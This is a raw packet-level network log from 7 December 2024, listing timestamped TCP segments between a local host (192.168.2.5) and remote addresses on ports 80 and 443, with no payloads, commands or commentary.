Dec 7, 2024 08:43:51.587414980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.588274956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.588402033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.588402987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.588495970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.589441061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.589523077 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.589549065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.589581966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.590415001 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.590533972 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.590601921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.591525078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.591608047 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.591617107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.591653109 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.592562914 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.592629910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.592664957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.592715979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.593652964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.593736887 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.593767881 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.593880892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.594747066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.594824076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.594832897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.594980001 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.595797062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.595869064 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.595957041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.596178055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.596892118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.596961021 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.597007036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.597040892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.597939968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.598066092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.598120928 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.599111080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.599173069 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.599364996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.600120068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.600184917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.600204945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.600910902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.601198912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.601274967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.601319075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.601356030 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.602227926 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.602288961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.602330923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.603329897 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.603332996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.603430986 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.603492022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.604382992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.604520082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.604603052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.605464935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.605585098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.605643034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.606615067 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.606854916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.606910944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.607604980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.607724905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.607945919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.608683109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.608798027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.609052896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.609796047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.609863043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.609977007 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.610829115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.610878944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.610935926 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.610992908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.611902952 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.611943960 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.612004995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.612117052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.612983942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.613059998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.613086939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.613182068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.614064932 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.614120960 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.614170074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.614222050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.615140915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.615220070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.615250111 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.615329981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.616239071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.616285086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.616333961 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.616388083 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.617297888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.617378950 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.617398977 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.617455006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.618355036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.618431091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.618444920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.618503094 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.619441986 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.619489908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.619538069 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.619590998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.620479107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.620569944 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.620663881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.702625990 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.702691078 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.703383923 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.703903913 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.703919888 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.703929901 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.703939915 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.706892014 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.706924915 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.707159996 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.707351923 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.707362890 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.745044947 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.745557070 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.745578051 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.745702982 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.745791912 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.745805025 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.745839119 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.746093988 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.746100903 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.746206999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.746309042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.746337891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.746383905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.747309923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.747409105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.748358011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.748410940 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.748470068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.749492884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.749557018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.749660015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.749958038 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.750514984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.750596046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.750606060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.750650883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.751595974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.751677990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.751729965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.751785040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.764081955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.764221907 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.764250994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.764250994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.764573097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.764622927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.764687061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.764915943 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.765671968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.765724897 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.765769005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.765963078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.766741991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.766871929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.767328024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.767813921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.767952919 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.768012047 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.768894911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.769009113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.769073963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.769969940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.770008087 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.770057917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.770180941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.771027088 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.771083117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.771141052 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.771284103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.772104979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.772214890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.773173094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.773237944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.773292065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.774241924 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.774315119 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.774336100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.775059938 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.775331974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.775429964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.775487900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.776413918 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.776531935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.776586056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.777462959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.777504921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.777565956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.777631998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.778561115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.778662920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.779328108 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.779614925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.779737949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.779793978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.780700922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.780818939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.780914068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.781774044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.781836987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.781896114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.781970024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.782140017 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.782186985 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.782385111 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.782423019 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.782429934 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.782437086 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.782442093 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.782854080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.782891989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.782951117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.783180952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.783915997 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.783941984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.783982992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.784075022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.784337044 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.784406900 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.784468889 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.784661055 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.784683943 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.784759998 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.784765959 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.785016060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.785056114 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.785113096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.785223961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.785273075 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.785294056 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.785545111 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.785866976 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.785873890 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.786056995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.786185980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.787139893 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.787201881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.787234068 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787254095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.787269115 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.787306070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.787339926 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787452936 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787467003 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.787524939 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.787570000 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.787617922 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787750959 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787760973 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.787770987 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.787775040 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.788230896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.788348913 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.788852930 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.789289951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.789372921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.789402008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.789494038 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.789870977 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.789896011 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.789979935 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.790128946 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:51.790144920 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:51.790383101 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.790471077 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.790487051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.790540934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.791435957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.791518927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.791549921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.791594982 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.792495012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.792680979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.793581009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.793668032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.793723106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.794667959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.794714928 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.794781923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.795322895 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.795721054 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.795762062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.795828104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.795870066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.796804905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.796852112 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.796900988 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.797004938 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.797903061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.797956944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.797997952 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.798069954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.798993111 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.799107075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.799199104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.800056934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.800165892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.801007986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.801127911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.801191092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.801192999 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.801292896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.802166939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.802223921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.802371025 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.802537918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.803247929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.803363085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.803375006 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.803407907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.804312944 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.804366112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.805416107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.805469990 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.805510044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.806524992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.806600094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.806608915 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.807204008 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.807564020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.807666063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.807692051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.807720900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.808617115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.808671951 CET	49795	80	192.168.2.5	185.215.113.16
